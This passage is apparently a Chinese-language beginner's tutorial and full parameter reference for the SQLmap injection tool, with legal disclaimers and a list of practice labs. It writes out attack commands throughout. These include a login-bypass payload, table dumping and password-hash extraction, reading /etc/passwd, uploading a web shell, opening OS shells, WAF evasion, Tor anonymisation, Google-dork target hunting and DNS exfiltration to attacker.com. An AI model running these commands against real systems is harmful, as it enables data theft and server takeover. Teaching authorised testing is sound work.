[工具應用] 003 SQLmap 完整入門指南:給資安新手的 SQL 注入測試教學

前言

Web 應用程式安全是現代資訊安全的核心議題之一。在各種常見漏洞中,SQL 注入(SQL Injection,簡稱 SQLi)長期盤踞 OWASP Top 10 名單,是攻擊者最常利用的弱點之一。學習如何偵測與測試這類漏洞,是每一位資安研究人員和滲透測試人員的必備技能。

本文將帶你從零開始認識 SQLmap 這套工具,包含基本概念、安裝方式、常見使用情境,以及完整的參數說明。

重要聲明:本文所有內容僅供合法的滲透測試與資安學習使用。請勿對未獲授權的系統進行任何測試,否則將觸犯相關法律。


一、基礎概念篇

什麼是 SQL 注入?

SQL 注入是一種攻擊技術,攻擊者透過在輸入欄位中插入惡意的 SQL 語句,使應用程式在執行資料庫查詢時產生非預期的行為。

舉一個簡單的例子,假設某個登入頁面的後端程式碼如下:

SELECT * FROM users WHERE username = 'username' AND password = 'password'

若攻擊者在 username 欄位輸入 ' OR '1'='1,查詢就會變成:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '...'

由於 '1'='1' 永遠為真,攻擊者可能在不知道密碼的情況下直接登入。

SQL 注入的危害

  • 未授權存取資料庫中的敏感資料(帳號、密碼、個資等)
  • 繞過登入驗證機制
  • 新增、修改、刪除資料庫中的資料
  • 在某些情況下可讀寫伺服器檔案,甚至執行系統指令
  • 完全接管資料庫伺服器

什麼是 SQLmap?

SQLmap 是一個開源的滲透測試工具,可自動化偵測和利用 SQL 注入漏洞,並接管資料庫伺服器。它具有強大的偵測引擎、豐富的功能選項,以及廣泛的開關設定,涵蓋從資料庫指紋識別、從資料庫擷取資料,到透過帶外連接存取底層檔案系統,乃至在作業系統上執行命令等各種功能。

SQLmap 支援的資料庫管理系統包括:

  • MySQL / MariaDB
  • PostgreSQL
  • Microsoft SQL Server
  • Oracle Database
  • SQLite
  • IBM DB2
  • Firebird
  • Sybase
  • SAP MaxDB
  • Informix
  • Amazon Redshift
  • Vertica 等

為什麼使用 SQLmap?

在許多 Web 應用程式中,SQL 注入漏洞是常見的安全問題之一,因為它們使攻擊者可以透過操作資料庫中的資料進行損壞,甚至接管整個資料庫系統。SQLmap 的主要目的是自動化偵測和利用這些漏洞,從而:

  • 減輕滲透測試人員的工作負擔
  • 節省時間和成本
  • 提高滲透測試的準確性和可靠性
  • 支援多種注入技術,覆蓋更廣泛的漏洞類型

二、安裝與環境設定

系統需求

  • Python 2.6、2.7 或 3.x
  • 支援 Linux、Windows、macOS

安裝方式

方法一:透過 Git 取得最新版本(建議)

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python sqlmap.py --version

方法二:在 Kali Linux 上(內建)

Kali Linux 已預裝 SQLmap,可直接使用:

sqlmap --version

方法三:透過 pip 安裝

pip install sqlmap

更新 SQLmap

sqlmap --update
# 或
python sqlmap.py --update

三、基本使用流程

如何使用 SQLmap?

SQLmap 在命令列中使用,根據需要添加不同的參數和選項。基本步驟如下:

  1. 識別目標 URL 及可能存在注入點的參數
  2. 分析目標網站的漏洞和資料庫結構
  3. 使用不同的技術和參數進行注入測試
  4. 透過 dump 等方式取得目標資料庫中的資料
  5. 利用 out-of-band 連接等方式進一步擴大攻擊面
  6. 建立報告並整理測試結果

最基本的測試指令

sqlmap -u "https://example.com/page.php?id=1"

加上 --batch 讓 SQLmap 自動回答所有提示(適合自動化流程):

sqlmap -u "https://example.com/page.php?id=1" --batch

常見使用情境與指令範例

情境一:測試 GET 參數

sqlmap -u "https://example.com/product.php?id=5" --dbs

情境二:測試 POST 請求(例如登入表單)

sqlmap -u "https://example.com/login.php" \
  --data="username=admin&password=test" \
  --dbs

情境三:帶 Cookie 進行測試(需要登入後才能存取的頁面)

sqlmap -u "https://example.com/profile.php?id=1" \
  --cookie="PHPSESSID=abc123def456" \
  --dbs

情境四:從 Burp Suite 匯出的請求檔進行測試

先在 Burp Suite 中攔截請求,儲存為 request.txt,再使用:

sqlmap -r request.txt --batch

這是實務上最常用的方式,因為可以完整保留所有 Header 資訊。

情境五:列出所有資料庫 > 選擇資料庫 > 列出資料表 > 傾印資料

# 第一步:列出所有資料庫
sqlmap -u "https://example.com/page.php?id=1" --dbs

# 第二步:列出指定資料庫中的所有資料表
sqlmap -u "https://example.com/page.php?id=1" -D target_db --tables

# 第三步:列出指定資料表中的所有欄位
sqlmap -u "https://example.com/page.php?id=1" -D target_db -T users --columns

# 第四步:傾印指定資料表的內容
sqlmap -u "https://example.com/page.php?id=1" -D target_db -T users --dump

四、SQL 注入技術說明

SQLmap 支援多種 SQL 注入技術,以參數 --technique 指定(預設為全部嘗試 BEUSTQ):

代號 技術名稱 說明
B Boolean-based Blind 布林盲注,透過 True/False 回應差異判斷資料
E Error-based 錯誤回報注入,利用資料庫錯誤訊息洩漏資料
U UNION query-based UNION 查詢注入,直接在回應中看到資料
S Stacked queries 堆疊查詢,可執行多個 SQL 語句
T Time-based Blind 時間盲注,透過回應時間差異判斷資料
Q Inline queries 內聯查詢注入

各技術特性對比

Boolean-based Blind(布林盲注)

頁面不回顯資料庫資料,但根據條件真假會顯示不同內容。SQLmap 透過二分法逐字元猜測,速度較慢但適用範圍廣。

sqlmap -u "https://example.com/page.php?id=1" --technique=B

Error-based(錯誤回報注入)

資料庫將錯誤訊息直接顯示在頁面上,SQLmap 可從中提取資料,速度較快。

sqlmap -u "https://example.com/page.php?id=1" --technique=E

UNION query-based(UNION 注入)

利用 UNION 關鍵字合併查詢結果,直接在頁面中顯示資料,速度最快。

sqlmap -u "https://example.com/page.php?id=1" --technique=U

Time-based Blind(時間盲注)

頁面完全不顯示任何差異,透過讓資料庫延遲回應(如 SLEEP(5))來判斷條件真假。速度最慢,但適用於完全無回顯的情況。

sqlmap -u "https://example.com/page.php?id=1" --technique=T --time-sec=5

五、繞過 WAF / 過濾機制

實際測試環境中,目標系統往往有 WAF(Web Application Firewall)或輸入過濾機制。SQLmap 提供 tamper 腳本來處理這類情況。

使用 tamper 腳本

sqlmap -u "https://example.com/page.php?id=1" --tamper=space2comment

常用 tamper 腳本列表

腳本名稱 用途
space2comment 將空格替換為 /**/ 繞過空格過濾
apostrophemask 將單引號替換為 UTF-8 全形字元
base64encode 對 payload 進行 Base64 編碼
between > 替換為 NOT BETWEEN 0 AND
charencode URL 編碼 payload
equaltolike = 替換為 LIKE
greatest > 替換為 GREATEST
hex2char 將十六進制字串替換為對等的 CHAR()
modsecurityversioned 在 SQL 關鍵字周圍加入版本化的 MySQL 註解
randomcase 隨機大小寫 SQL 關鍵字
sleep2getlock SLEEP() 替換為 GET_LOCK()
space2dash 將空格替換為 -- 加上隨機字串和換行
space2mssqlblank 將空格替換為 MSSQL 的空白字元
unmagicquotes 以寬字元繞過魔術引號保護

查看所有可用 tamper 腳本:

sqlmap --list-tampers

同時使用多個 tamper 腳本:

sqlmap -u "https://example.com/page.php?id=1" \
  --tamper=space2comment,randomcase,charencode

六、進階功能

檢測資料庫指紋

sqlmap -u "https://example.com/page.php?id=1" --fingerprint

取得當前資料庫使用者與資料庫

sqlmap -u "https://example.com/page.php?id=1" --current-user --current-db

列舉資料庫使用者及密碼雜湊

sqlmap -u "https://example.com/page.php?id=1" --users --passwords

取得雜湊後,SQLmap 會自動嘗試使用字典攻擊破解密碼。

檢查當前使用者是否為 DBA

sqlmap -u "https://example.com/page.php?id=1" --is-dba

讀取伺服器上的檔案(需有 FILE 權限)

sqlmap -u "https://example.com/page.php?id=1" --file-read=/etc/passwd

將檔案寫入伺服器(可上傳 Web Shell)

sqlmap -u "https://example.com/page.php?id=1" \
  --file-write=shell.php \
  --file-dest=/var/www/html/shell.php

執行作業系統命令

sqlmap -u "https://example.com/page.php?id=1" --os-cmd="whoami"

取得互動式作業系統 shell:

sqlmap -u "https://example.com/page.php?id=1" --os-shell

爬取整個網站並自動測試

sqlmap -u "https://example.com/" --crawl=3 --batch

自動偵測並測試表單

sqlmap -u "https://example.com/contact.php" --forms --batch

使用 Google Dork 尋找目標

sqlmap -g "inurl:php?id=" --batch

七、效能調整

多執行緒加速

sqlmap -u "https://example.com/page.php?id=1" --threads=10

注意:threads 最大值為 10,設定過高可能導致目標伺服器拒絕連線或影響測試準確性。

啟用所有優化選項

sqlmap -u "https://example.com/page.php?id=1" -o

-o 等同於同時啟用 --keep-alive--null-connection--predict-output

控制測試深度與風險

# 提高測試等級(1-5,預設為 1,等級越高測試越多參數)
sqlmap -u "https://example.com/page.php?id=1" --level=3

# 提高風險等級(1-3,預設為 1,等級越高使用更具破壞性的 payload)
sqlmap -u "https://example.com/page.php?id=1" --risk=2

注意--risk=3 包含可能更新資料庫資料的 payload,在測試真實系統時需謹慎使用。

設定請求延遲(避免觸發限速)

sqlmap -u "https://example.com/page.php?id=1" --delay=2

使用 Proxy(配合 Burp Suite)

sqlmap -u "https://example.com/page.php?id=1" \
  --proxy=http://127.0.0.1:8080

使用 Tor 匿名網路

sqlmap -u "https://example.com/page.php?id=1" \
  --tor --tor-type=SOCKS5 --check-tor

八、實用技巧

儲存與恢復 Session

SQLmap 預設會將 Session 資料存放在 ~/.sqlmap/output/ 目錄下,再次對相同目標執行時會自動繼續上次進度。

強制重新開始(清除 Session):

sqlmap -u "https://example.com/page.php?id=1" --flush-session

輸出詳細偵錯資訊

# 等級 0:只顯示嚴重錯誤
# 等級 1:顯示基本資訊(預設)
# 等級 2:顯示警告與資訊
# 等級 3:顯示 payload 及偵錯資訊
# 等級 4:顯示 HTTP 請求
# 等級 5:顯示 HTTP 回應標頭
# 等級 6:顯示完整 HTTP 回應

sqlmap -u "https://example.com/page.php?id=1" -v 3

將結果輸出為 HTML 或 SQLite

sqlmap -u "https://example.com/page.php?id=1" \
  -D mydb -T users --dump \
  --dump-format=HTML

儲存所有 HTTP 流量紀錄

sqlmap -u "https://example.com/page.php?id=1" -t traffic.txt

指定自訂輸出目錄

sqlmap -u "https://example.com/page.php?id=1" \
  --output-dir=/home/user/sqlmap_results/

處理 CSRF Token

針對有 CSRF 防護的表單,可指定 token 參數讓 SQLmap 自動處理:

sqlmap -u "https://example.com/login.php" \
  --data="username=admin&password=test&csrf_token=abc" \
  --csrf-token=csrf_token \
  --csrf-url="https://example.com/login.php"

九、參數完整速查表

Options(通用選項)

參數 中文說明 英文原文 舉例
-h, --help 顯示基本幫助資訊並退出 Show basic help message and exit sqlmap -h
-hh 顯示進階幫助資訊並退出 Show advanced help message and exit sqlmap -hh
--version 顯示程式版本並退出 Show program’s version number and exit sqlmap --version
-v VERBOSE 設定冗長度,0-6 級別(預設為 1) Verbosity level: 0-6 (default 1) sqlmap -v 3

Target(目標)

參數 中文說明 英文原文 舉例
-u URL, --url=URL 指定目標 URL Target URL sqlmap -u "https://example.com/page.php?id=1"
-d DIRECT 指定直接連線至資料庫的連線字串 Connection string for direct database connection sqlmap -d "mysql://root:password@localhost/testdb"
-l LOGFILE 從 Burp 或 WebScarab proxy 的日誌檔解析目標 Parse target(s) from Burp or WebScarab proxy log file sqlmap -l /path/to/proxy.log
-m BULKFILE 從文字檔案中掃描多個目標 Scan multiple targets given in a textual file sqlmap -m /path/to/targets.txt
-r REQUESTFILE 從檔案中載入 HTTP 請求 Load HTTP request from a file sqlmap -r /path/to/request.txt
-g GOOGLEDORK 將 Google Dork 結果作為目標 URL 處理 Process Google dork results as target URLs sqlmap -g "inurl:php?id="
-c CONFIGFILE 從 INI 設定檔載入選項 Load options from a configuration INI file sqlmap -c /path/to/config.ini

Request(請求)

參數 中文說明 英文原文 舉例
-A, --user-agent=AGENT 指定 HTTP User-Agent 標頭值 HTTP User-Agent header value --user-agent="Mozilla/5.0 ..."
-H, --header=HEADER 指定額外的標頭 Extra header --header="X-Forwarded-For: 127.0.0.1"
--method=METHOD 強制使用指定的 HTTP 方法 Force usage of given HTTP method --method=PUT
--data=DATA 設定要透過 POST 送出的資料字串 Data string to be sent through POST --data="id=1"
--cookie=COOKIE 指定 HTTP Cookie 標頭值 HTTP Cookie header value --cookie="PHPSESSID=abc123"
--random-agent 隨機選擇 HTTP User-Agent 標頭值 Use randomly selected HTTP User-Agent header value --random-agent
--mobile 模擬智慧型手機的 HTTP User-Agent 標頭 Imitate smartphone through HTTP User-Agent header --mobile
--referer=REFERER 指定 HTTP Referer 標頭值 HTTP Referer header value --referer=https://www.google.com/
--headers=HEADERS 指定額外的標頭(多個) Extra headers --headers="Accept-Language: fr\nETag: 123"
--auth-type=AUTH_TYPE 指定 HTTP 驗證類型 HTTP authentication type --auth-type=Basic
--auth-cred=AUTH_CRED HTTP 認證帳號密碼 HTTP authentication credentials (name:password) --auth-cred=admin:password
--ignore-code=IGNORE_CODE 忽略(有問題的)HTTP 錯誤碼 Ignore (problematic) HTTP error code --ignore-code=401
--ignore-proxy 忽略系統預設代理伺服器設定 Ignore system default proxy settings --ignore-proxy
--ignore-redirects 忽略重新導向嘗試 Ignore redirection attempts --ignore-redirects
--ignore-timeouts 忽略連線逾時 Ignore connection timeouts --ignore-timeouts
--proxy=PROXY 使用代理伺服器連線到目標 URL Use a proxy to connect to the target URL --proxy=http://localhost:8080
--proxy-cred=PROXY_CRED 代理伺服器認證帳號密碼 Proxy authentication credentials (name:password) --proxy-cred=username:password
--proxy-file=PROXY_FILE 從檔案載入代理伺服器清單 Load proxy list from a file --proxy-file=proxies.txt
--tor 使用 Tor 匿名網路 Use Tor anonymity network --tor
--tor-port=TOR_PORT 設定 Tor 代理伺服器連接埠 Set Tor proxy port other than default --tor-port=9050
--tor-type=TOR_TYPE 設定 Tor 代理伺服器類型 Set Tor proxy type --tor-type=SOCKS5
--check-tor 檢查是否正確使用 Tor Check to see if Tor is used properly --check-tor
--delay=DELAY 每個 HTTP 請求之間的延遲秒數 Delay in seconds between each HTTP request --delay=2
--timeout=TIMEOUT 等待連接超時的秒數(預設 30 秒) Seconds to wait before timeout connection --timeout=60
--retries=RETRIES 連線逾時時的重試次數(預設 3 次) Retries when the connection timeouts --retries=5
--csrf-token=CSRFPARAM 用於保存防 CSRF 權杖的參數 Parameter used to hold anti-CSRF token --csrf-token=csrf_token
--csrf-url=CSRFURL 用於提取防 CSRF 權杖的 URL URL address to visit for extraction of anti-CSRF token --csrf-url=https://example.com/login
--force-ssl 強制使用 SSL/HTTPS Force usage of SSL/HTTPS --force-ssl
--hpp 使用 HTTP 參數污染方法 Use HTTP parameter pollution method --hpp
--eval=EVALCODE 在請求之前評估提供的 Python 程式碼 Evaluate provided Python code before the request --eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

Optimization(優化)

參數 中文說明 英文原文 舉例
-o 啟用所有優化開關 Turn on all optimization switches -o
--predict-output 預測常見的查詢輸出 Predict common queries output --predict-output
--keep-alive 使用持久化的 HTTP(s) 連線 Use persistent HTTP(s) connections --keep-alive
--null-connection 不回傳實際 HTTP 回應體的頁面長度 Retrieve page length without actual HTTP response body --null-connection
--threads=THREADS 最大同時執行的 HTTP(s) 請求數(預設為 1) Max number of concurrent HTTP(s) requests --threads=5

Injection(注入)

參數 中文說明 英文原文 舉例
-p TESTPARAMETER 指定測試的參數 Testable parameter(s) -p id
--skip=SKIP 跳過指定的參數 Skip testing for given parameter(s) --skip=password
--skip-static 跳過看起來不是動態的參數 Skip testing parameters that not appear to be dynamic --skip-static
--param-exclude=REGEX 排除不測試的參數的正則表達式 Regexp to exclude parameters from testing --param-exclude="(PHPSESSID|JSESSIONID)"
--param-filter=PARAMETER_FILTER 選擇測試的參數類型 Select testable parameter(s) by place --param-filter=GET
--dbms=DBMS 強制指定後端資料庫管理系統 Force back-end DBMS to provided value --dbms=mysql
--os=OS 強制指定後端 DBMS 的作業系統 Force back-end DBMS operating system to provided value --os=Linux
--prefix=PREFIX 注入有效 payload 的前綴字串 Injection payload prefix string --prefix="'"
--suffix=SUFFIX 注入有效 payload 的後綴字串 Injection payload suffix string --suffix="#"
--tamper=TAMPER 在注入資料前使用指定的 Python 程式碼 Use given script(s) for tampering injection data --tamper=space2comment
--technique=TECHNIQUES 要使用的 SQL 注入技術(預設為 “BEUSTQ”) SQL injection techniques to use --technique=BEU
--time-sec=TIMESEC 延遲 DBMS 回應的秒數(預設為 5 秒) Seconds to delay the DBMS response --time-sec=10
--union-cols=UCOLS 要測試 UNION 查詢 SQL 注入的欄位範圍 Range of columns to test for UNION query SQL injection --union-cols=1-10

Detection(偵測)

參數 中文說明 英文原文 舉例
--level=LEVEL 指定測試級別(1-5,預設為 1) Level of tests to perform (1-5, default 1) --level=3
--risk=RISK 指定測試風險等級(1-3,預設為 1) Risk of tests to perform (1-3, default 1) --risk=2
--string=STRING 當 SQL 語句執行結果為真時,要匹配的字串 String to match when query is evaluated to True --string="Welcome"
--not-string=NOTSTRING 當 SQL 語句執行結果為假時,要匹配的字串 String to match when query is evaluated to False --not-string="Access denied"
--regexp=REGEXP 當 SQL 語句執行結果為真時,要匹配的正則表達式 Regexp to match when query is evaluated to True --regexp="(true|1)"
--code=CODE 當 SQL 語句執行結果為真時,要匹配的 HTTP 狀態碼 HTTP code to match when query is evaluated to True --code=200
--smart 只在存在正向啟發時執行徹底的測試 Perform thorough tests only if positive heuristic(s) --smart
--text-only 僅基於文字內容比較頁面 Compare pages based only on the textual content --text-only
--titles 僅比較頁面標題 Compare pages based only on their titles --titles

Techniques(技術)

參數 中文說明 英文原文 舉例
--technique=TECH 指定使用的 SQL 注入技術(預設 “BEUSTQ”) SQL injection techniques to use --technique=U
--time-sec=TIMESEC 設定 DBMS 回應延遲的秒數(預設 5 秒) Seconds to delay the DBMS response --time-sec=10
--union-cols=UCOLS 設定在 UNION 查詢中測試的欄位範圍 Range of columns to test for UNION query SQL injection --union-cols=1-5
--union-char=UCHAR 設定用於測試欄位數的字元 Character to use for bruteforcing number of columns --union-char=^
--union-from=UFROM 設定在 UNION 查詢中使用的表格名稱 Table to use in FROM part of UNION query SQL injection --union-from=users
--dns-domain=DNS 設定在 DNS 洩漏攻擊中使用的網域名稱 Domain name used for DNS exfiltration attack --dns-domain=attacker.com
--second-url=SECURL 設定二次注入攻擊中搜索的結果頁面 URL Resulting page URL searched for second-order response --second-url=https://example.com/dashboard.php
--second-req=SECREQ 從檔案載入二次注入攻擊的 HTTP 請求 Load second-order HTTP request from file --second-req=second-order.txt

Fingerprint(指紋)

參數 中文說明 英文原文 舉例
--fingerprint 執行廣泛的 DBMS 版本指紋 Perform an extensive DBMS version fingerprint --fingerprint

Enumeration(列舉)

參數 中文說明 英文原文 舉例
-a, --all 擷取所有資料 Retrieve everything -a
-b, --banner 擷取 DBMS 標語 Retrieve DBMS banner -b
--current-user 擷取目前使用者 Retrieve DBMS current user --current-user
--current-db 擷取目前資料庫 Retrieve DBMS current database --current-db
--hostname 擷取 DBMS 主機名稱 Retrieve DBMS server hostname --hostname
--is-dba 檢測目前使用者是否為 DBA Detect if the DBMS current user is DBA --is-dba
--users 列舉 DBMS 使用者 Enumerate DBMS users --users
--passwords 列舉 DBMS 使用者密碼雜湊 Enumerate DBMS users password hashes --passwords
--privileges 列舉 DBMS 使用者權限 Enumerate DBMS users privileges --privileges
--roles 列舉 DBMS 使用者角色 Enumerate DBMS users roles --roles
--dbs 列舉 DBMS 資料庫 Enumerate DBMS databases --dbs
--tables 列舉 DBMS 資料庫表格 Enumerate DBMS database tables --tables
--columns 列舉 DBMS 資料庫表格欄位 Enumerate DBMS database table columns --columns
--schema 列舉 DBMS schema Enumerate DBMS schema --schema
--count 擷取表格中的資料筆數 Retrieve number of entries for table(s) --count
--dump 列出 DBMS 資料庫表格內容 Dump DBMS database table entries --dump
--dump-all 列出所有 DBMS 資料庫表格內容 Dump all DBMS databases tables entries --dump-all
--search 搜尋欄位、表格或資料庫名稱 Search column(s), table(s) and/or database name(s) --search
--comments 列舉資料庫註解 Check for DBMS comments during enumeration --comments
--statements 擷取 DBMS 所執行的 SQL 陳述式 Retrieve SQL statements being run on DBMS --statements
-D DB 指定 DBMS 要枚舉的資料庫 DBMS database to enumerate -D mydb
-T TBL 指定要枚舉的資料表 DBMS database table(s) to enumerate -T users
-C COL 指定要枚舉的資料表欄位 DBMS database table column(s) to enumerate -C username,password
-X EXCLUDE 指定不要枚舉的資料庫識別符 DBMS database identifier(s) to not enumerate -X information_schema
-U USER 指定要枚舉的使用者 DBMS user to enumerate -U root
--exclude-sysdbs 枚舉資料表時排除 DBMS 系統資料庫 Exclude DBMS system databases when enumerating tables --exclude-sysdbs
--where=DUMPWHERE 在列出資料表時使用 WHERE 條件式 Use WHERE condition while table dumping --where="id>10"
--start=LIMITSTART 設定要列出的第一個資料表項目 First dump table entry to retrieve --start=10
--stop=LIMITSTOP 設定要列出的最後一個資料表項目 Last dump table entry to retrieve --stop=20
--sql-query=SQLQUERY 指定要執行的 SQL 查詢語句 SQL statement to be executed --sql-query="SELECT * FROM users"
--sql-shell 使用互動式 SQL shell Prompt for an interactive SQL shell --sql-shell
--sql-file=SQLFILE 從指定的檔執行 SQL 查詢語句 Execute SQL statements from given file(s) --sql-file=query.sql

Brute Force(暴力破解)

參數 中文說明 英文原文 舉例
--common-tables 檢查常見的資料表是否存在 Check existence of common tables --common-tables
--common-columns 檢查常見的欄位是否存在 Check existence of common columns --common-columns
--common-files 檢查常見的檔案是否存在 Check existence of common files --common-files

User-defined Function Injection(自定義函數注入)

參數 中文說明 英文原文 舉例
--udf-inject 注入自訂的使用者定義函數 Inject custom user-defined functions --udf-inject
--shared-lib=SHLIB 載入共用庫文件 Local path of the shared library --shared-lib=/tmp/udf_lib.so

File System Access(檔案系統存取)

參數 中文說明 英文原文 舉例
--file-read=FILEPATH 從資料庫檔案系統中讀取文件 Read a file from the back-end DBMS file system --file-read=/etc/passwd
--file-write=FILEPATH 將本地檔寫入資料庫檔系統中 Write a local file on the back-end DBMS file system --file-write=shell.php
--file-dest=FILEPATH 設定在資料庫檔系統中寫入檔的目標位置 Back-end DBMS absolute filepath to write to --file-dest=/var/www/html/shell.php

Operating System Access(作業系統存取)

參數 中文說明 英文原文 舉例
--os-cmd=COMMAND 在資料庫伺服器上執行系統命令 Execute an operating system command --os-cmd="id"
--os-shell 在資料庫伺服器上啟動一個互動式 shell Prompt for an interactive operating system shell --os-shell
--os-pwn 啟動一個 OOB shell 或 Meterpreter Prompt for an OOB shell, Meterpreter or VNC --os-pwn
--os-smbrelay 透過 SMB Relay 啟動 OOB shell One click prompt for an OOB shell, Meterpreter or VNC --os-smbrelay
--os-bof 利用 Stored Procedure Buffer Overflow 漏洞 Stored procedure buffer overflow exploitation --os-bof
--priv-esc 提升資料庫進程的使用者權限 Database process user privilege escalation --priv-esc
--msf-path=MSFPATH 指定 Metasploit 框架的路徑 Local path where Metasploit Framework is installed --msf-path=/opt/metasploit
--tmp-path=TMPPATH 指定遠端系統的臨時檔目錄 Remote absolute path of temporary files directory --tmp-path=/var/tmp/

Windows Registry Access(Windows 註冊表存取)

參數 中文說明 英文原文 舉例
--reg-read 讀取 Windows 註冊表鍵值 Read a Windows registry key value --reg-read
--reg-add 寫入 Windows 註冊表鍵值資料 Write a Windows registry key value data --reg-add
--reg-del 刪除 Windows 註冊表鍵值 Delete a Windows registry key value --reg-del
--reg-key=REGKEY Windows 註冊表鍵 Windows registry key --reg-key="HKLM\SOFTWARE\Microsoft"
--reg-value=REGVAL Windows 註冊表鍵值 Windows registry key value --reg-value=Version
--reg-data=REGDATA Windows 註冊表鍵值資料 Windows registry key value data --reg-data=12
--reg-type=REGTYPE Windows 註冊表鍵值類型 Windows registry key value type --reg-type=REG_DWORD

General(一般設置)

參數 中文說明 英文原文 舉例
-s SESSIONFILE 從已存的 .sqlite 檔案載入 session Load session from a stored (.sqlite) file -s session.sqlite
-t TRAFFICFILE 將所有 HTTP 流量記錄到文字檔案 Log all HTTP traffic into a textual file -t traffic.txt
--answers=ANSWERS 設定預先定義的回答 Set predefined answers --answers="quit=N,follow=Y"
--batch 永遠不要詢問使用者輸入,使用預設行為 Never ask for user input, use the default behavior --batch
--check-internet 評估目標之前,檢查網路連線 Check Internet connection before assessing the target --check-internet
--cleanup 從資料庫中刪除 sqlmap 特定的 UDF 和表格 Clean up the DBMS from sqlmap specific UDF and tables --cleanup
--crawl=CRAWLDEPTH 從目標 URL 開始爬網站 Crawl the website starting from the target URL --crawl=3
--crawl-exclude=CRAWLEXCLUDE 排除某些網頁不要爬 Regexp to exclude pages from crawling --crawl-exclude=logout
--dump-format=DUMPFORMAT 列出資料的格式(CSV、HTML 或 SQLITE) Format of dumped data (CSV, HTML or SQLITE) --dump-format=HTML
--eta 每個輸出顯示預計到達時間 Display for each output the estimated time of arrival --eta
--flush-session 刷新當前目標的 session 文件 Flush session files for current target --flush-session
--forms 解析和測試目標 URL 上的表單 Parse and test forms on target URL --forms
--fresh-queries 忽略已儲存在會話文件中的查詢結果 Ignore query results stored in session file --fresh-queries
--har=HARFILE 將所有 HTTP 流量記錄到 HAR 檔中 Log all HTTP traffic into a HAR file --har=/path/to/file.har
--hex 使用 16 進制轉換來檢索資料 Use hex conversion during data retrieval --hex
--output-dir=OUTPUT_DIR 自定義輸出目錄路徑 Custom output directory path --output-dir=/path/to/dir
--parse-errors 解析並顯示來自回應的 DBMS 錯誤訊息 Parse and display DBMS error messages from responses --parse-errors
--save=SAVECONFIG 將選項保存到配置 INI 檔 Save options to a configuration INI file --save=config.ini
--skip-waf 跳過啟發式偵測 WAF/IPS 保護 Skip heuristic detection of WAF/IPS protection --skip-waf
--web-root=WEB_ROOT 設置網站根目錄 Web server document root directory --web-root=/var/www/html/

Miscellaneous(其他)

參數 中文說明 英文原文 舉例
-z MNEMONICS 使用短記憶體技巧 Use short mnemonics -z flu,bat,ban,tec=EU
--alert=ALERT 在發現 SQL 注入時執行主機 OS 命令 Run host OS command(s) when SQL injection is found --alert="notify-send found"
--beep 當發現 SQLi/XSS/FI 時發出嗶聲 Beep on question and/or when SQLi/XSS/FI is found --beep
--dependencies 檢查是否缺少 sqlmap 依賴項 Check for missing (optional) sqlmap dependencies --dependencies
--disable-coloring 禁用控制台輸出顏色 Disable console output coloring --disable-coloring
--list-tampers 顯示可用的篡改腳本列表 Display list of available tamper scripts --list-tampers
--offline 在離線模式下工作 Work in offline mode (only use session data) --offline
--purge 安全地從 sqlmap 資料目錄中刪除所有內容 Safely remove all content from sqlmap data directory --purge
--shell 提示進入互動式 sqlmap shell Prompt for an interactive sqlmap shell --shell
--tmp-dir=TMPDIR 儲存臨時檔的本地目錄 Local directory for storing temporary files --tmp-dir=/tmp/
--unstable 調整不穩定連接的選項 Adjust options for unstable connections --unstable
--update 更新 sqlmap Update sqlmap --update
--wizard 簡單的向導介面供初學者使用 Simple wizard interface for beginner users --wizard

十、參數分類速覽

分類 用途說明 常用參數
Target 定義測試目標 -u, -r, -l, -m, -g
Request 指定如何連接到目標 URL -r, -H, --data, --cookie
Optimization 優化 sqlmap 的效能 -o, --batch, --threads, --eta, --timeout
Injection 指定測試參數與注入設定 -p, --dbms, --level, --risk, --prefix, --suffix, --tamper
Detection 自定義偵測階段 --level, --risk, --string, --technique, --parse-errors
Techniques 調整特定注入技術 --technique, --time-sec, --union-cols, --union-char
Fingerprint 資料庫版本識別 --fingerprint
Enumeration 列舉資料庫資訊與資料 -D, -T, -C, --dbs, --tables, --columns, --dump
Brute force 暴力破解檢查 --common-tables, --common-columns
File system 存取後端檔案系統 --file-read, --file-write, --file-dest
OS access 存取後端作業系統 --os-shell, --os-cmd, --os-pwn
Windows registry 存取 Windows 註冊表 --reg-read, --reg-write, --reg-del
General 一般工作參數 --batch, --output-dir, --flush-session, --forms
Miscellaneous 其他雜項 --update, --wizard, --list-tampers

十一、常見錯誤排除

問題:SQLmap 偵測不到注入點

可能原因與解法:

  • 嘗試提高 --level--risk
  • 使用 --technique 指定特定技術逐一嘗試
  • 確認 Cookie 或 Session 是否過期,需重新取得後帶入 --cookie
  • 使用 --tamper 腳本繞過過濾或 WAF
  • 嘗試加入 --parse-errors 查看資料庫回傳的錯誤訊息

問題:測試速度太慢

可能原因與解法:

  • 增加 --threads(最高 10)
  • 啟用 -o 開啟所有優化選項
  • 指定 --technique=BEU 只使用速度較快的技術,排除 Time-based
  • 縮小測試範圍:使用 -p 指定特定參數,避免測試所有參數

問題:遇到 WAF 阻擋

可能原因與解法:

  • 使用 --tamper 腳本繞過,可組合多個腳本
  • 加入 --delay 減慢請求頻率
  • 使用 --random-agent 隨機切換 User-Agent
  • 透過 --proxy 配合 Burp Suite 觀察實際發出的請求

問題:拿到雜湊卻無法破解

可能原因與解法:

  • 使用 Hashcat 或 John the Ripper 配合字典檔進行離線破解
  • SQLmap 的內建破解功能較為基礎,複雜密碼建議使用專用工具

十二、學習資源與練習環境

合法的練習環境

學習 SQL 注入測試,建議在以下合法環境中練習,切勿對真實目標進行未授權測試:

  • DVWA(Damn Vulnerable Web Application):專為資安學習設計的漏洞 Web 應用程式,可本地架設。
  • WebGoat:OWASP 官方出品的漏洞教學平台。
  • HackTheBox / TryHackMe:提供合法的 CTF 環境與學習路徑。
  • PentesterLab:專注於 Web 安全的學習平台,有 SQL 注入專題。
  • PortSwigger Web Security Academy:Burp Suite 官方推出的免費 Web 安全學習平台,有豐富的 SQL 注入實驗室。

官方資源

  • SQLmap 官方網站:https://sqlmap.org/
  • SQLmap GitHub:https://github.com/sqlmapproject/sqlmap
  • SQLmap 官方 Wiki:https://github.com/sqlmapproject/sqlmap/wiki
  • OWASP SQL Injection:https://owasp.org/www-community/attacks/SQL_Injection

十三、倫理與法律提醒

使用 SQLmap 或任何滲透測試工具時,務必遵守以下原則:

  • 取得書面授權:在對任何系統進行測試前,必須取得系統擁有者的明確書面授權。
  • 明確定義測試範圍:只測試授權範圍內的系統,不得超出範圍。
